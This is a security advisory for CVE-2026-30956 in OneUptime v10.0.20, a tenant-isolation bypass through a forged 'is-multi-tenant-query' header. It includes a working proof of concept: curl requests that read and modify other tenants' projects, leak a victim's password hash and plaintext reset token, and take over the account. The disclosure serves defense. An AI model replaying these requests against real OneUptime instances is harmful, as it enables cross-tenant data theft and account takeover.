CVE-2026-30956

Description

### Summary A low‑privileged user can bypass authorization and tenant isolation in OneUptime `v10.0.20` by sending a forged `is-multi-tenant-query` header together with a controlled `projectid` header. Because the server trusts this client-supplied header, internal permission checks in `BasePermission` are skipped and tenant scoping is disabled. This allows attackers to: 1. Access project data belonging to other tenants 2. Read sensitive User fields via nested relations 3. Leak plaintext resetPasswordToken 4. Reset the victim’s password and fully take over the account This results in cross‑tenant data exposure and full account takeover. ### Details Root cause The API trusts a client‑controlled header to determine whether a request should bypass authorization checks. CommonAPI.ts ``` if (req.headers["is-multi-tenant-query"]) { props.isMultiTenantRequest = true; } ``` BasePermission.ts ``` if (!props.isMultiTenantRequest) { TablePermission.checkTableLevelPermissions(...) QueryPermission.checkQueryPermission(...) SelectPermission.checkSelectPermission(...) } ``` When the attacker sends: ``` is-multi-tenant-query: true ``` the system skips all authorization checks including: - Table permission validation - Query permission validation - Select permission validation - Tenant isolation enforcement Additionally, tenant scoping is disabled in `TenantPermission` Sensitive user data exposure Projects marked with: ``` @MultiTenentQueryAllowed(true) ``` allow cross-tenant queries when the header is present. The Project model contains a relation: ``` createdByUser ``` Because select permission checks are skipped, attackers can retrieve sensitive fields from the User model including: ``` password resetPasswordToken webauthnChallenge ``` Reset token stored in plaintext In the password reset flow: Authentication.ts ``` resetPasswordToken: token ``` The reset token is stored in plaintext in the database. During password reset: ``` /api/identity/reset-password ``` the server validates the provided token directly. If an attacker leaks this token through the authorization bypass, they can immediately reset the victim’s password. Exploitation chain 1. Attacker bypasses tenant isolation using is-multi-tenant-query 2. Attacker reads victim project 3. Attacker selects createdByUser.resetPasswordToken 4. Attacker triggers forgot-password for victim 5. Attacker retrieves the fresh token via the same query 6. Attacker calls /api/identity/reset-password 7. Attacker sets a new password 8. Attacker logs in as victim This results in full account takeover. ### PoC **Setup:** - Local OneUptime v10.0.20 instance - Two normal accounts: - Attacker account owns Project A (`7cb77c45-c2e0-42b5-8a28-57aa0dec6e82`) - Victim account owns Project B (`88ced36b-4c0a-4c12-bdf1-497d60b10b23`) with email `[email protected]` --- #### Chain 1: Direct Project Isolation Bypass **1. Read isolation bypass** ```bash curl -X POST http://localhost/api/project/get-list \ -H "authorization: Bearer <attacker_token>" \ -H "projectid: 7cb77c45-c2e0-42b5-8a28-57aa0dec6e82" \ -H "is-multi-tenant-query: true" \ -H "content-type: application/json" \ -d '{ "query": {}, "select": { "_id": true, "name": true, "createdOwnerEmail": true } }' ``` Result: Returns both the attacker's and victim's projects: ```json { "data": [ { "_id": "88ced36b-4c0a-4c12-bdf1-497d60b10b23", "name": "Victim Project", "createdOwnerEmail": { "value": "[email protected]" } }, { "_id": "7cb77c45-c2e0-42b5-8a28-57aa0dec6e82", "name": "Attacker Project", "createdOwnerEmail": { "value": "[email protected]" } } ], "count": 2 } ``` 2. Write isolation bypass Victim project name is initially: Victim Project ORIGINAL ``` curl -X POST http://localhost/api/project/88ced36b-4c0a-4c12-bdf1-497d60b10b23/update-item \ -H "authorization: Bearer <attacker_token>" \ -H "projectid: 7cb77c45-c2e0-42b5-8a28-57aa0dec6e82" \ -H "is-multi-tenant-query: true" \ -H "content-type: application/json" \ -d '{"name":"Victim Project EXPLOIT"}' ``` Result: Victim project name is updated to "Victim Project EXPLOIT" despite the attacker not being a member of the victim project. #### Chain 2: Account Takeover via Credential Leakage 3. Trigger password reset for victim ``` curl -X POST http://localhost/api/identity/forgot-password \ -H "content-type: application/json" \ -d "{\"email\":\"[email protected]\"}" ``` 4. Leak victim password hash and reset token via tenant bypass ``` curl -X POST http://localhost/api/project/get-list \ -H "authorization: Bearer <attacker_token>" \ -H "projectid: 7cb77c45-c2e0-42b5-8a28-57aa0dec6e82" \ -H "is-multi-tenant-query: true" \ -H "content-type: application/json" \ -d '{ "query": {"_id": "88ced36b-4c0a-4c12-bdf1-497d60b10b23"}, "select": { "_id": true, "createdByUser": { "email": true, "password": true, "resetPasswordToken": true } } }' ``` Result: Sensitive user data is exposed: ``` { "data": [{ "_id": "88ced36b-4c0a-4c12-bdf1-497d60b10b23", "createdByUser": { "email": {"value": "[email protected]"}, "password": {"value": "faef08e8f2b9e9dfa09c15dfaf043b8aad7761d9712c7e09417d4da2156e33d9"}, "resetPasswordToken": "4b75e6d0-1aca-11f1-b2d4-698549b693fb" } }] } ``` 5. Take over victim account using leaked token ``` # Reset password with leaked token curl -X POST http://localhost/api/identity/reset-password \ -H "content-type: application/json" \ -d '{ "resetPasswordToken": "4b75e6d0-1aca-11f1-b2d4-698549b693fb", "password": "AttackerChosenPassword123!" }' # Login as victim with new password curl -X POST http://localhost/api/identity/login \ -H "content-type: application/json" \ -d '{ "email": "[email protected]", "password": "AttackerChosenPassword123!" }' ``` Result: Successful login with attacker-chosen password, original password fails - complete account takeover achieved. Result: Victim project name is updated despite the attacker not being a member of the victim project. ### Impact This vulnerability allows a low‑privileged authenticated user to: - bypass tenant isolation - access other tenant projects - read sensitive user credential fields - leak plaintext reset tokens - reset victim passwords - fully take over victim accounts Because OneUptime is a multi‑tenant monitoring platform, this allows attackers to compromise any tenant account in the system.
